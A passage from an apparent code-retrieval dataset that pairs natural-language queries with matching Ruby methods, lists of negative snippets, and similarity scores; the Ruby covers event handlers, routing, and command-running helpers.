"def handler(event, *meths)\n meths.each do |meth|\n events[event.to_sym] ||= []\n events[event.to_sym] << {type: :method, method: meth.to_sym}\n end\n self\n end",
"def authorization_handlers\n @authorization_handlers ||= begin\n ::Decidim::VerifyWoRegistration::ApplicationHelper.workflow_manifests(component).map do |workflow_manifest|\n Decidim::AuthorizationHandler.handler_for(workflow_manifest.name, handler_params(workflow_manifest.name))\n end\n end\n end",
"def routes\n { :static => @route_ids, :dynamic => @dynamic }\n end",
"def response_for(action)\n respond_to do |wants|\n options_for(action).response.each do |method, block|\n if block.nil?\n wants.send(method)\n else\n wants.send(method) { instance_eval(&block) }\n end\n end\n end\n end",
"def message_handlers(conditions = {})\n method = conditions[:method]\n\n raise \"Condition :method is missing!\" if method.nil?\n\n message_handlers = @registered_message_handlers_for_method[method.to_sym] || []\n\n name = conditions[:name]\n modules = conditions[:modules] || []\n modules = [modules] unless modules.is_a? Array\n version = conditions[:version]\n\n if name\n message_handlers = message_handlers.select { |mh| mh.name == name }\n end\n\n if modules.empty?\n message_handlers = message_handlers.select { |mh| mh.modules.include?(:core) }\n else\n message_handlers = message_handlers.select { |mh| (mh.modules & modules) != [] || mh.modules.include?(:core) }\n end\n\n if version\n message_handlers = message_handlers.select { |mh| mh.version == version }\n end\n\n message_handlers\n end",
"def supported_methods\n return @supported_methods if @supported_methods\n help_response = request(:help)\n mm = help_response.split(\"\\n\").select { |l| l =~ /^\\w+(\\s|$)/ }\n @supported_methods = mm.map { |l| l.split(' ').first }.map(&:to_sym)\n end",
"def http_parse_args\n [(self.api.base_url + self.method), self.params]\n end",
"def handler_base_namespace; end",
"def handler; end",
"def handler; end",
"def actions() ; info[:actions] ; end",
"def actions() ; info[:actions] ; end",
"def serverBehaviorMappings()\n {\n connections: ServerCallbacks::Connections::f,\n orders: ServerCallbacks::Orders::f,\n services: ServerCallbacks::Services::f\n # decision_engine: ServerCallbacks::DecisionEngine::f\n # rules_engine: ServerCallbacks::RulesEngine::f\n # advanced_strategies: ServerCallbacks::AdvancedStrategies::f\n }\nend",
"def http_method\n return if request_response_pairs.empty?\n request_response_pairs.first.first.request_method\n end",
"def handle(args)\n options = self.getDefaultOptions()\n subcommandHandlerFactory = SubcommandHandlerFactory.new\n\n # Rememmber that ARGV does not include the program name ($0) in Ruby.\n # This is like Java; unlike Python and C/C++/Go.\n loop do\n break if args.length == 0\n break unless args[0][0] == '-'\n option = args.shift\n\n if option == '-h'\n self.usage(0)\n elsif option == '--help'\n self.usage(0)\n elsif option == '-l' || option == '--list-verbs'\n SubcommandHandlerFactory.listVerbs()\n exit(0)\n\n elsif option == '-v' || option == '--verbose'\n options['verbose'] = true\n elsif option == '-q' || option == '--quiet'\n options['verbose'] = false\n elsif option == '-s' || option == '--show-urls'\n options['showURLs'] = true\n\n elsif option == '-a' || option == '--app-token-env-name'\n self.usage(1) unless args.length >= 1\n options['accessTokenEnvName'] = args.shift\n elsif option == '-b' || option == '--base-te-url'\n self.usage(1) unless args.length >= 1\n options['baseTEURL'] = args.shift\n\n else\n $stderr.puts \"#{$0}: unrecognized option #{option}\"\n exit 1\n end\n end\n\n if args.length < 1\n self.usage(1)\n end\n verbName = args.shift\n verbArgs = args\n\n # Endpoint setup common to all verbs\n ThreatExchange::TENet::setAppTokenFromEnvName(options['accessTokenEnvName'])\n baseTEURL = options['baseTEURL']\n unless baseTEURL.nil?\n ThreatExchange::TENet::setTEBaseURL(baseTEURL)\n end\n ThreatExchange::TENet::setAppTokenFromEnvName(options['accessTokenEnvName'])\n\n subcommandHandler = subcommandHandlerFactory.create(verbName)\n\n if subcommandHandler.nil?\n $stderr.puts \"#{$0}: unrecognized verb \\\"#{verbName}\\\"\"\n exit 1\n end\n\n subcommandHandler.handle(args, options)\n\n end",
"def initialize_handler_enums\n ContainerInstanceHandler.renew\n DigitalObjectHandler.renew\n SubjectHandler.renew\n end",
"def methods\n super + property.keys.map { |v| [\"configure_#{v}\".to_sym, \"request_#{v}\".to_sym] }.flatten\n end",
"def print_routes \n \n # Create a new hash\n h = Hash.new()\n\n # Use Sinatra advanced routes\n # to build out a hash based on the routes\n Sinatra::Application.each_route do |route|\n unless route.path.eql? \"/\" or route.path.eql? \"/*\"\n h[route.path.split(\"/\")[1]] = request.base_url + route.path \n end\n end\n\n # Return that badboy\n return h\n\nend",
"def routes_unhighlighted\n return Array.new\n end",
"def action_methods; end",
"def action_methods; end"
] | [
"0.65251577",
"0.63290566",
"0.609211",
"0.6043446",
"0.5937355",
"0.5895904",
"0.5859775",
"0.5852079",
"0.58322763",
"0.58017915",
"0.58015114",
"0.57037044",
"0.57037044",
"0.57037044",
"0.56874067",
"0.566724",
"0.5663021",
"0.56479955",
"0.56331813",
"0.55932385",
"0.55932385",
"0.5579253",
"0.55652165",
"0.55627024",
"0.5520682",
"0.5490806",
"0.54790723",
"0.5470437",
"0.5456986",
"0.5447267",
"0.54449093",
"0.5441967",
"0.54363304",
"0.5430639",
"0.5429555",
"0.5422987",
"0.5420246",
"0.54089135",
"0.53945255",
"0.538934",
"0.5376283",
"0.5357426",
"0.5352251",
"0.53495073",
"0.5345024",
"0.53317434",
"0.5306215",
"0.5288002",
"0.52797365",
"0.52792776",
"0.5271223",
"0.52592474",
"0.5252976",
"0.5247895",
"0.5238846",
"0.52268016",
"0.52149594",
"0.5202212",
"0.51845664",
"0.5158595",
"0.5151427",
"0.51511073",
"0.5149258",
"0.5147414",
"0.514639",
"0.5138495",
"0.51384807",
"0.513125",
"0.5112137",
"0.5107275",
"0.5090805",
"0.5078957",
"0.5059945",
"0.5037404",
"0.5022932",
"0.50228477",
"0.5010815",
"0.50107825",
"0.50020635",
"0.4986019",
"0.4985375",
"0.49721965",
"0.49631616",
"0.49408004",
"0.49406734",
"0.49335572",
"0.49289873",
"0.49277997",
"0.49277997",
"0.49200368",
"0.49200368",
"0.49151838",
"0.490609",
"0.4867959",
"0.48676527",
"0.48611286",
"0.48601195",
"0.48517722",
"0.48464727",
"0.48464727"
] | 0.7637699 | 0 |
returns an array like handlers but restricted to the not nil values | def handlers_set
handlers.reject{|sym, handler| handler.nil?}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def handlers\n @handlers ||= Hash.new do |hash, key|\n if key.nil?\n raise NoHandler\n else\n raise InvalidHandler, key\n end\n end\n end",
"def handlers\n @handlers ||= Set.new\n end",
"def __handlers\n @__handlers ||= Hash.new([])\n end",
"def handlers\n @handlers ||= {}\n end",
"def _handlers\n @handlers ||= {}\n end",
"def handlers=(_arg0); end",
"def handlers_for_exception(exception)\n prioritized_handlers.select { |handler| handler === exception }\n end",
"def no_handler?\n handlers_set.empty?\n end",
"def callbacks_for(*)\n []\n end",
"def handlers; end",
"def handlers; end",
"def handlers; end",
"def prioritized_handlers\n Enumerator.new do |yielder|\n priorities = (registered_handlers.keys | block_handlers.keys).sort!\n priorities.uniq!\n priorities.each do |priority|\n if registered_handlers.key?(priority)\n collected_handlers = registered_handlers[priority].to_a\n end\n if block_handlers.key?(priority)\n temp_handlers = block_handlers[priority].to_a\n if collected_handlers\n collected_handlers.concat(temp_handlers)\n else\n collected_handlers = temp_handlers\n end\n end\n collected_handlers.sort_by!(&:name)\n collected_handlers.uniq!\n collected_handlers.each { |handler| yielder << handler }\n end\n end\n end",
"def all_handlers_for(event_type, source_name)\n handlers_for(event_type, source_name) + handlers_for(event_type, nil)\n end",
"def maybe(_, f)\n f[]\n end",
"def supported_handlers\n @@supported_handlers\n end",
"def _parse_handlers(handler_string)\n\n return [] unless handler_string\n\n handler_list = []\n handler_list = handler_string.split(\",\")\n\n puts \"Got handlers: #{handler_list}\" if @debug\n\n handler_list\n end",
"def get_actions(type=nil)\n res = []\n \n @actions.each do |a|\n if a.is_a?(type) or type.nil?\n res.push a\n end\n end\n \n return res\n end",
"def handlers\n HTTP_METHODS.map do |sym|\n [sym, send(sym)]\n end\n end",
"def handlers_idx; end",
"def message_handlers(conditions = {})\n method = conditions[:method]\n\n raise \"Condition :method is missing!\" if method.nil?\n\n message_handlers = @registered_message_handlers_for_method[method.to_sym] || []\n\n name = conditions[:name]\n modules = conditions[:modules] || []\n modules = [modules] unless modules.is_a? Array\n version = conditions[:version]\n\n if name\n message_handlers = message_handlers.select { |mh| mh.name == name }\n end\n\n if modules.empty?\n message_handlers = message_handlers.select { |mh| mh.modules.include?(:core) }\n else\n message_handlers = message_handlers.select { |mh| (mh.modules & modules) != [] || mh.modules.include?(:core) }\n end\n\n if version\n message_handlers = message_handlers.select { |mh| mh.version == version }\n end\n\n message_handlers\n end",
"def _parse_handlers(handler_string)\n return [] unless handler_string\n\n handler_list = []\n handler_list = handler_string.split(\",\")\n\n handler_list\n end",
"def data_handlers\n @data_handlers ||= {}\n end",
"def search_handsets(proc)\n rez = @handsets.values.select do |hand| \n x = proc.call(hand) \n end\n return rez if rez != nil\n return Array::new\n end",
"def active_aggregate_handlers(domain)\n # all_handler_names.select do |k|\n # list = k.listen_to_domains\n # list.include?(domain)\n # end\n EventSubscriber.instance.get_handlers(domain)\n end",
"def enabled_handlers\n @enabled_handlers ||=\n providers.select do |klass|\n # NB: this is different from resource_resolver which must pass a resource_name\n # FIXME: deprecate this and normalize on passing resource_name here\n klass.provides?(node, resource)\n end.sort {|a,b| a.to_s <=> b.to_s }\n end",
"def extract_handler_method(args)\n handler = nil\n\n if method_defined?(args.last)\n handler = args.last\n args.delete_at(-1)\n\n else\n handler = :handle\n end\n\n [handler, args]\n end",
"def supported_handlers\n @supported_handlers ||=\n enabled_handlers.select do |klass|\n klass.supports?(resource, action)\n end\n end",
"def scheme_handlers\n @agent.scheme_handlers\n end",
"def routes_unhighlighted\n return Array.new\n end",
"def initialize_inbound_handlers\n\t\t@inbound_handlers = []\n\tend",
"def handlers?\n registered_handlers.length > 0\n end",
"def collect\n [false, nil]\n end",
"def channel_handlers(channel, event)\n # trace __FILE__, __LINE__, self, __method__, \" : channel=#{channel} event=#{event}\"\n r = (@handlers[channel.to_sym] || {})[event.to_sym] || []\n if r.empty?\n msg = \"#{self.class.name} : no channel handlers(s) for channel=#{channel} event=#{event}\"\n # trace __FILE__, __LINE__, self, __method__, \" : #{msg}\"\n raise RuntimeError, msg\n end\n r\n end",
"def build_handler_list(plugins); end",
"def exception_handling_data(e)\n self.rescue_handlers.each do |handler|\n return handler if (handler.key?(:exception_classes) && handler[:exception_classes].include?(e.class))\n if handler.key?(:exception_ancestor_classes)\n handler[:exception_ancestor_classes].each do |ancestor|\n return handler if e.class.ancestors.include?(ancestor)\n end\n elsif !handler.key?(:exception_classes) && !handler.key?(:exception_ancestor_classes)\n return handler\n end\n end\n nil\n end",
"def authorization_handlers\n @authorization_handlers ||= begin\n ::Decidim::VerifyWoRegistration::ApplicationHelper.workflow_manifests(component).map do |workflow_manifest|\n Decidim::AuthorizationHandler.handler_for(workflow_manifest.name, handler_params(workflow_manifest.name))\n end\n end\n end",
"def clear\n @handlers.clear\n end",
"def make_handlers(*args)\r\n make :handler, *args\r\n end",
"def missings_to_nil(values)\n values.collect{|v| is_missing?(v) ? nil : v}\n end",
"def event_handlers\n local_event_handlers = @event_handlers || []\n return local_event_handlers unless superclass.respond_to?(:event_handlers)\n superclass.event_handlers + local_event_handlers\n end",
"def actions\n @actions || []\n end",
"def scheme_handlers=(_arg0); end",
"def []( name )\n _handlers[name]\n end",
"def setup_default_handlers\n # Incoming events\n prepend_handler :incoming_msg, self.method(:r_msg)\n prepend_handler :incoming_act, self.method(:r_act)\n prepend_handler :incoming_notice, self.method(:r_notice)\n prepend_handler :incoming_ctcp, self.method(:r_ctcp)\n prepend_handler :incoming_ctcpreply, self.method(:r_ctcpreply)\n prepend_handler :incoming_mode, self.method(:r_mode)\n prepend_handler :incoming_join, self.method(:r_join)\n prepend_handler :incoming_part, self.method(:r_part)\n prepend_handler :incoming_kick, self.method(:r_kick)\n prepend_handler :incoming_quit, self.method(:r_quit)\n prepend_handler :incoming_nick, self.method(:r_nick)\n prepend_handler :incoming_miscellany, self.method(:r_miscellany)\n\n # Incoming numeric events here\n prepend_handler :incoming_welcome, self.method(:r_welcome)\n prepend_handler :incoming_bannedfromchan, self.method(:r_bannedfromchan)\n prepend_handler :incoming_badchannelkey, self.method(:r_badchannelkey)\n prepend_handler :incoming_nicknameinuse, self.method(:_nicknameinuse)\n prepend_handler :incoming_channelurl, self.method(:r_channelurl)\n prepend_handler :incoming_topic, self.method(:r_topic)\n prepend_handler :incoming_topicinfo, self.method(:r_topicinfo)\n prepend_handler :incoming_namreply, self.method(:_namreply)\n prepend_handler :incoming_endofnames, self.method(:r_endofnames)\n prepend_handler :incoming_motd, self.method(:r_motd)\n prepend_handler :incoming_motdstart, self.method(:r_motdstart)\n prepend_handler :incoming_endofmotd, self.method(:r_endofmotd)\n prepend_handler :incoming_invite, self.method(:r_invite)\n\n # Outgoing events\n prepend_handler :outgoing_begin_connection, self.method(:out_begin_connection)\n end",
"def middlewares; @middlewares ||= []; end",
"def handlers\n {\n Api::Type::Boolean => ->(v) { v ? 'true' : 'false' },\n Api::Type::Constant => ->(v) { quote_string(v.upcase) },\n Api::Type::Double => ->(v) { v },\n Api::Type::Enum =>\n ->(v) { quote_string(v.is_a?(Symbol) ? v.id2name : v.to_s) },\n Api::Type::Integer => ->(v) { v },\n Api::Type::String => ->(v) { quote_string(v) },\n Api::Type::Time => ->(v) { quote_string(v.iso8601) },\n Api::Type::Array => ->(v) { format_values('[', v, ']') },\n Api::Type::NestedObject => ->(v) { format_values('{', v, '}') },\n Api::Type::NameValues => ->(v) { format_values('{', v, '}') },\n Api::Type::ResourceRef => ->(v) { quote_string(v) },\n Api::Type::Array::STRING_ARRAY_TYPE =>\n ->(v) { ['[', v.map { |e| quote_string(e) }.join(', '), ']'].join },\n Api::Type::Array::RREF_ARRAY_TYPE =>\n ->(v) { ['[', v.call(exported_values: false).join(', '), ']'].join }\n }.freeze\n end",
"def void_array(*args)\n return nil.to_a\n end",
"def empty_handler(db, hits)\nend",
"def events\n\t\t\t\treturn @events.values unless (@events.nil?)\n\t\t\t\treturn nil\n\t\t\tend",
"def middleware\n @middleware ||= []\n end",
"def handle_help\n self.methods.grep(/^handle_(.*?)/).map {|m| m.to_s.sub(/^(.*?)_/, '')}\n end",
"def paths_forced_not_null_by_filters\n @filters.map {|filter| filter.arguments_forced_not_null.map {|dp| dp.ancestors}}.flatten.uniq\n end",
"def conditions\n [[]]\n end",
"def responds_to\n []\n end",
"def handler_method; end",
"def nothing\n return lambda do |pos|\n return []\n end\nend",
"def flow_null_values\n return @flow_null_values\n end",
"def handlers=(handlers)\n @handlers = handlers.dup\n end",
"def test_rejects_nonarray_handlers\n assert_raise(Fluent::ConfigError) {\n create_driver(%[check_handlers 30], 'ddos')\n }\n end",
"def middleware\n @middleware ||= []\n end",
"def optionals\n\t\tHash[ select {|i,f| f.required? } ]\n\tend",
"def ignore_actions(actions)\n ignore(lambda do |event|\n params = event.payload\n Array(actions).include?(\"#{controller_field(params)}##{params[:action]}\")\n end)\n end",
"def handle_return_args(arr)\n newa = []\n arr.each do |obj|\n newa << handle_return_object(obj)\n end\n\n return newa\n end",
"def nullables\n %w[\n callback_url\n callback_method\n fallback_url\n fallback_method\n username\n password\n fallback_username\n fallback_password\n machine_speech_end_threshold\n ]\n end",
"def configured_handlers\n\t\treturn Mongrel2::Config::Handler.by_send_ident( self.app_id )\n\tend",
"def method_missing(name, *args)\n\t\t[].send(name, *args) # Proxy nil onto []\n\trescue NoMethodError\n\t\tsuper\n\tend",
"def handlers\n {\n Api::Type::Boolean => ->(v) { v ? 'true' : 'false' },\n Api::Type::Constant => ->(v) { quote_string(v.upcase) },\n Api::Type::Double => ->(v) { v },\n Api::Type::Enum =>\n ->(v) { quote_string(v.is_a?(Symbol) ? v.id2name : v.to_s) },\n Api::Type::Integer => ->(v) { v },\n Api::Type::String => ->(v) { quote_string(v) },\n Api::Type::Time => ->(v) { quote_string(v.iso8601) },\n Api::Type::Array => ->(v) { format_values('[', v, ']') },\n Api::Type::NestedObject => ->(v) { format_values('{', v, '}') },\n Api::Type::ResourceRef => ->(v) { quote_string(v) },\n Api::Type::Array::STRING_ARRAY_TYPE =>\n ->(v) { ['[', v.map { |e| quote_string(e) }.join(', '), ']'].join },\n Api::Type::Array::RREF_ARRAY_TYPE =>\n ->(v) { ['[', v.call(exported_values: false).join(', '), ']'].join },\n Api::Type::NameValues => ->(v) { format_values('{', v, '}') }\n }.freeze\n end",
"def unwrap\n unwrapped = []\n @archive.each do |object|\n @handlers.each do |handler|\n item = handler.unwrap(object)\n unwrapped.push(item) unless item.nil?\n end\n end\n unwrapped.each { |item| yield item if block_given? }\n unwrapped\n end",
"def handlers_for_event(event)\n event_table.all_handlers_for(event.type, event.source)\n end",
"def getEventNotifications(u, e)\n @result = []\n @ns = Notification.all\n @ns.each do |n|\n if u == nil\n if (n.notification_type == 3 || n.notification_type == 4) && n.sender_id == e.to_i\n @result.push(n)\n end\n else\n if (n.notification_type == 3 || n.notification_type == 4) && n.sender_id == e.to_i && n.user_id == u.to_i\n @result.push(n)\n end\n end\n end\n return @result\n end",
"def middlewares\n @middlewares ||= [ ]\n end",
"def reset_handlers\n @handlers = nil\n end",
"def routes_normal\n return Array.new\n end",
"def missing_data\n only_missing.to_a\n end",
"def allowed_filters\n []\n end",
"def find_response_handler(container, req)\n handler = nil\n req.response.each_pair do |regex,h|\n Stella.ld \"HANDLER REGEX: #{regex.to_s} (#{container.status})\"\n regex = /#{regex}/ unless regex.is_a? Regexp\n handler = h and break if container.status.to_s =~ regex\n end\n handler\n end",
"def restricted_map(callbacks); end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def nullables\r\n []\r\n end",
"def exception_handler\n @exception_handler ||= {}\n end",
"def filtered_methods\n @filtered_methods ||= []\n end",
"def get_triggers_a\n\n return [] if self.triggers.nil? or self.triggers.empty?\n\n array = self.triggers.split('|')\n array.compact!\n array.delete('')\n\n return array\n end",
"def extract_declares!\n # # Recurse on the whens.\n # return self.each_when.map(&:extract_declares!)\n # # Recurse on the default if any.\n # self.default.extract_declares! if self.default\n res = self.each_when.map(&:extract_declares!)\n res += self.default.extract_declares! if self.default\n return res\n end",
"def responder_names\n responders.pluck(:name)\n end",
"def actions\n []\n end",
"def execute_handlers\n @@handlers.each { |handler| handler.execute }\n end",
"def discardable\n []\n end",
"def scheme_handlers; end",
"def scheme_handlers; end",
"def optionals\r\n %w[\r\n reason\r\n privacy\r\n unknown\r\n orig_to\r\n ]\r\n end",
"def connection_handlers\n @connection_handlers ||= [\n proc do |conn|\n conn.request :json\n if @oauth2\n conn.request :oauth2, @oauth2.token, :token_type => @oauth2.token_type\n end\n end,\n proc do |conn|\n if @logging\n conn.response :logger, nil, :bodies => (@logging.casecmp('DEBUG') == 0)\n end\n conn.response :json, :content_type => /\\bjson$/\n end,\n proc{|conn| conn.adapter Faraday.default_adapter }\n ]\n end"
] | [
"0.6487597",
"0.62378854",
"0.61714274",
"0.61482465",
"0.6014034",
"0.57429856",
"0.57349545",
"0.5681223",
"0.5636645",
"0.5546216",
"0.5546216",
"0.5546216",
"0.55271155",
"0.55175674",
"0.55102974",
"0.54561996",
"0.544601",
"0.5399749",
"0.5366708",
"0.5335934",
"0.5333632",
"0.5267863",
"0.52451605",
"0.52306336",
"0.52144045",
"0.515363",
"0.51487833",
"0.5142224",
"0.5126914",
"0.5125554",
"0.51029295",
"0.5069779",
"0.5060257",
"0.5007833",
"0.5005903",
"0.49739417",
"0.49711648",
"0.49696633",
"0.49666312",
"0.49534523",
"0.49300316",
"0.49285436",
"0.4908336",
"0.48965275",
"0.48958826",
"0.48900795",
"0.4884744",
"0.48813236",
"0.48804396",
"0.4878599",
"0.4865803",
"0.4853282",
"0.4852808",
"0.48498374",
"0.48492956",
"0.48464936",
"0.48400807",
"0.48296636",
"0.4828332",
"0.48117828",
"0.48062804",
"0.47924882",
"0.47920194",
"0.47918728",
"0.4778642",
"0.47627747",
"0.47590375",
"0.4739098",
"0.47382626",
"0.47329858",
"0.47320163",
"0.47299847",
"0.47291806",
"0.47178283",
"0.47154495",
"0.47141284",
"0.47054955",
"0.4701744",
"0.46999097",
"0.46999097",
"0.46999097",
"0.46999097",
"0.46999097",
"0.46999097",
"0.46999097",
"0.46999097",
"0.46999097",
"0.46999097",
"0.46970728",
"0.46952617",
"0.46891084",
"0.4689017",
"0.46796536",
"0.4671348",
"0.46495485",
"0.4642259",
"0.46311218",
"0.46311218",
"0.4624965",
"0.46243373"
] | 0.7042405 | 0 |
Returns true if there is no handler set for this dispatcher | def no_handler?
handlers_set.empty?
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def handlers?\n registered_handlers.length > 0\n end",
"def has_handler?(method)\n send(method) && true\n end",
"def empty?\n @dispatchers.empty?\n end",
"def handled?\n handled\n end",
"def handled?\n\t\treturn ! @status.nil?\n\tend",
"def handler_enabled?\n !datastore['DisablePayloadHandler']\n end",
"def has_handler_for?(handler_method)\n @jr_handlers ||= {}\n @jr_handlers.has_key?(handler_method)\n end",
"def __has_element_handler?(key)\n key = key.to_s.gsub(/[=!]$/, '')\n __elements_handlers.storage.find { |h| h.method_name == key }\n end",
"def required?\n handler.required?\n end",
"def handles?(rjr_method)\n !handler_for(rjr_method).nil?\n end",
"def active?\n @conn.handler == self\n end",
"def renderable?\n !!handler\n end",
"def has_queued_events?\n !@propagation.empty?\n end",
"def empty?\n @listener_proxies.empty?\n end",
"def wait_for_consume?\n handlers.size.zero? && filters.size.zero?\n end",
"def handler_bind?\n payload_instance && payload_instance.connection_type == 'bind'\n end",
"def respond_to_missing?(method_name)\n @original_handler.respond_to?(method_name)\n end",
"def enqueued?\n !!@handle\n end",
"def empty?\n parent_objects(EventStructure::Signal).empty?\n end",
"def signals_want_shutdown?\n !@signals.empty?\n end",
"def connected?\n not @handle.nil?\n end",
"def bound?\n @receiver ? true : false\n end",
"def signals_want_shutdown\n !@signals.empty?\n end",
"def binding?\n !bind_stack.empty?\n end",
"def dispatched\n dispatched?\n end",
"def handlers_set\n handlers.reject{|sym, handler| handler.nil?}\n end",
"def empty?\n @actions.empty?\n end",
"def handle?(symbol); @handler.include?(symbol); end",
"def has_middleware?\n !@middlewares.nil? && !@middlewares.empty?\n end",
"def has_no_registered_receiver?\n !self.has_registered_receiver?\n end",
"def any?\n !@queue.empty?\n end",
"def any?\n !@queue.empty?\n end",
"def listening?\n return @listener != nil\n end",
"def key?(key)\n super || __has_element_handler?(key)\n end",
"def handle\n puts 'ignoring event -- no handler defined'\n end",
"def is_msg_handler_suspended?\n return @srv_msg_handler_susp\n end",
"def event_dispatch_thread?\n super\n end",
"def event_dispatch_thread?\n super\n end",
"def unbound?(_ctx)\n false\n end",
"def empty?\n @queue.empty?\n end",
"def bindings?\n !bindings.empty?\n end",
"def handling_disabled?(event)\n event[:check][:handle] == false\n end",
"def any?\n !@queue.empty?\n end",
"def empty?\n @queue.empty?\n end",
"def empty?\n @queue.empty?\n end",
"def empty?\n @queue.empty?\n end",
"def empty?\n return @stack.empty?\n end",
"def sender?\n !!self.sender\n end",
"def handled!; @handled = true; end",
"def respond_to_missing?(_, _ = false)\n true # responds to everything, always\n end",
"def equal?(handler, type)\n\t\tfalse\n\tend",
"def performed?\n !@response.nil?\n end",
"def shutdown_signal_pending?\n @shutdown_signal && !@shutdown_signal_sent_at\n end",
"def empty?\n @routes.empty?\n end",
"def isStateStackEmpty()\n\t\t\treturn @_state_stack.empty?\n\t\tend",
"def handles_interrupts?\n handles_signal?(2)\n end",
"def empty?\n @queue.empty?\n end",
"def action_hook?(self_only = T.unsafe(nil)); end",
"def pingable?\n if @handler\n @handler.pingable?\n else\n raise WebSocketError, \"Cannot test whether pingable before onopen callback\"\n end\n end",
"def empty?\n @stack.empty?\n end",
"def any_empty_routing?\n self.empty?(self, \"routings\", false)\n end",
"def callback_pending?\n @if || @unless\n end",
"def session_created?\n # Start bind handlers before checking session creation\n payload_instance.start_handler if handler_bind?\n\n (self.session_count > 0) ? true : false\n end",
"def empty?\n @queued.empty?\n end",
"def action_method?\n nil\n end",
"def empty?\n @events.empty?\n end",
"def sender?\n !!self.sender\n end",
"def is_hooked?(object)\n SINGLETON_METHOD_HOOKS.has_key?(object)\n end",
"def empty_parser?\n delegated_parser.empty_parser?\n end",
"def weakref_alive?\n @@__map.key?(self) or defined?(@delegate_sd_obj)\n end",
"def root?\n class_name == nil && method_name == nil\n end",
"def is_empty()\n @queue.size == 0\n end",
"def blank?\n events.none?\n end",
"def useful?\n (@endpoint_response && (@endpoint_response.type != TYPE_FILE)) || @processor\n end",
"def empty?\n\t\t@queue.empty?\n\tend",
"def empty?\n @stack.empty?\n end",
"def respond_to_missing?(method)\n @callbacks.key?(method)\n end",
"def respond_to_missing?(method)\n @callbacks.key?(method)\n end",
"def delegates_allowed?\n @xri.index('*').nil?\n end",
"def handles?(error_class)\n handlers.has_key?(error_class)\n end",
"def hidden?\n hooked? && currently_defined?\n end",
"def has_pending_events?\n\t\treturn self.pending_event_count.nonzero? ? true : false\n\tend",
"def root?\n return @active_context.empty?\n end",
"def reactor_running?\n !@reactor_thread.nil?\n end",
"def empty?\n @path.empty?\n end",
"def is_class_hooked?(klass)\n CLASS_METHOD_HOOKS.has_key?(klass) and not CLASS_METHOD_HOOKS[klass].empty?\n end",
"def empty?\n synchronize do\n return false if @publishing || @canceled || @stopping\n\n @items.empty? && @queue.empty?\n end\n end",
"def has_actions?\n if self.actions == []\n return false\n else\n return true\n end\n end",
"def is_empty()\n @requests.empty?\n end",
"def action_dispatch?\n defined?(ActionDispatch::Request)\n end",
"def empty?\n @queue.empty?\n end",
"def handles_signal?(signal)\n signal = canonicalize_signal(signal)\n !@signal_handlers[signal].nil?\n end",
"def actions?\n non_empty?(@actions)\n end",
"def undefined?\n true\n end",
"def signal?\n @signal\n end",
"def default_handler\n @default_handler\n end",
"def unresolved_call?\n callees.include?(\"__any__\")\n end",
"def handleRequest?(path)\n\t\t\ttrue\n\t\tend",
"def empty?\n @references_to_keys_map.each do |_, ref|\n return false if ref.object\n end\n true\n end",
"def halt?\n @halt\n end"
] | [
"0.77711904",
"0.7221516",
"0.7161389",
"0.69499964",
"0.6823033",
"0.67305195",
"0.6703453",
"0.64089286",
"0.6389181",
"0.6150591",
"0.6085799",
"0.60730803",
"0.60704345",
"0.606162",
"0.6032549",
"0.6016277",
"0.60115904",
"0.59596235",
"0.5940822",
"0.59036714",
"0.5875779",
"0.58544886",
"0.58467174",
"0.5823376",
"0.5812268",
"0.5780354",
"0.57798296",
"0.57519245",
"0.5751851",
"0.57484657",
"0.5746254",
"0.5716377",
"0.56966317",
"0.5684904",
"0.5681265",
"0.56469417",
"0.5646298",
"0.5646298",
"0.5640477",
"0.56216204",
"0.5620469",
"0.5616942",
"0.56113464",
"0.5592251",
"0.5592251",
"0.5592251",
"0.5591571",
"0.5589767",
"0.55892956",
"0.5574994",
"0.5569411",
"0.55604833",
"0.5559185",
"0.55468696",
"0.55412567",
"0.55206066",
"0.5519216",
"0.55128527",
"0.55095357",
"0.550077",
"0.5489863",
"0.5483652",
"0.5482485",
"0.5481772",
"0.5477306",
"0.54761183",
"0.5471069",
"0.5469996",
"0.5462054",
"0.54432464",
"0.5441493",
"0.54400635",
"0.54354334",
"0.54349005",
"0.5434713",
"0.5429216",
"0.5420023",
"0.5420023",
"0.5414602",
"0.5396614",
"0.53894806",
"0.5377796",
"0.53762174",
"0.5373882",
"0.5373067",
"0.5372782",
"0.5367546",
"0.5360279",
"0.53594244",
"0.5357714",
"0.5337442",
"0.5334282",
"0.5334165",
"0.53312004",
"0.5325922",
"0.5324486",
"0.5322284",
"0.53079116",
"0.53065735",
"0.5304936"
] | 0.881674 | 0 |
run_command(cmd, arg1, arg2, ...) safely runs a command without using a Unix command shell. This means any wildcards, quotes, redirections, and so on in the command name or arguments are not interpreted by a shell, and are passed directly to the command being run. Accepts a block of code to run, and sets $? to the return status of the process. Dies if the command cannot be executed. | def run_command(cmd, *args)
raise ArgumentError.new('missing required cmd to run') if cmd.nil?
rd, wr = IO.pipe
if fork
wr.close
if block_given?
rd.each { |line| yield(line) }
else
rd.read
end
rd.close
Process.wait
return $?
else
rd.close
$stdin.close
$stdout.reopen(wr)
$stderr.reopen(wr)
exec cmd, *args
raise "exec #{cmd} failed"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def run_command(command, options = {})\n status = run(command, options)\n fail \"#{command} failed\" unless status\nend",
"def run_command(command, options = {})\n status = run(command, options)\n fail \"#{command} failed\" unless status\nend",
"def run_cmd(cmd)\n print_e(\"Run: #{cmd}\")\n exit_code = system(cmd)\n fail SystemCallError, cmd unless exit_code\n exit_code\n end",
"def run_command(*command)\n print_command command\n result = system *command\n if result.nil?\n puts \"Failed to run command.\"\n exit 255\n elsif !result\n exit $?.exitstatus\n end\nend",
"def run_cmd(cmd)\n puts blue(cmd)\n raise unless system cmd\n end",
"def run_or_fail(cmd, redact: nil)\n put_command(cmd, redact: redact)\n Open3.popen3(*cmd) do |i, o, e, t|\n i.close\n if not t.value.success?\n STDERR.write red_term_text(e.read)\n exit t.value.exitstatus\n end\n end\n end",
"def run_command!(name, *args)\n run_command(name, *args) rescue nil\n end",
